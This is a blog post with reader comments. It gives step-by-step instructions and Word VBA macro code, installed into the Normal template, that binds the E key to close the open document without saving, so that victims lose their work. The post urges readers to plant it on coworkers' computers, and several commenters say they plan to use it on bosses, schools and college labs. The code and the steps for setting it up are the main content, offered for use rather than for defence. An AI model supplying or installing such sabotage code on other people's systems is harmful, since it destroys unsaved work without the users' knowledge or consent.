Microsoft Word Prank



What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. This computer prank will drive your office friends crazy. So hell lets do it right?

Step 1: Open up Micro Soft Word

Step2: Press alt F11, this will open up a vba editor for word.

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

Step4: Copy and past this code into the document
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

Step6: Enjoy

If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.

Key Options

To change the key from E to something else replace this piece of the code in bold

.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)

If you want to use a different letter it is: wdKeyYOURLETTER

If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace

Try out different options, its a lot of fun.



166 Responses to “Microsoft Word Prank”

  1. Meanie says:

    Yeah…’cause as a species we just don’t fuck with each other enough.

  2. office saboter says:

    omg i wana do this to my boss right now but ill get fired if they find out…
    ill prob just do it to everyone in my entire office before i leave (quit).
    It is mean, id never do it to any family or friends, but its work so i dont really give a shit.
    this is perfect! thanks!

  3. Ksi says:

    I’m gonna do it at school for ALL computers. Thanks.

  4. Maureen says:

    Ahh!
    That looks awesome xD
    I’ll have to try it!!!

  5. tammy says:

    how do you change it back? just delete code??

  6. Jeff Dempsey get a life says:

    Such a gay prank

  7. Evil Grin says:

    Would be a shame if someone did this to a entire computer lab at a school. *evil grin*

  8. Static says:

    Hey cool man!!!
    i will do it on my college computer!!
    thanx man!!

  9. tobi says:

    this is quite funny i may do it but would probably have to find a way to change it back

  10. Homer Simpson says:

    Cool, I’ll do this at the power plant I work at. Doooh.

    ok, not really. I don’t want anyone to take me seriously and report me as a terrorist.

  11. pl0p says:

    “I’m gonna do it at school for ALL computers. Thanks.”

    dumbass, the normal.dot file is stored in your user directory. If you to this to ALL the computers you will still be the only one affected… lulz…

  12. rain says:

    How do you change it back?

Leave a Reply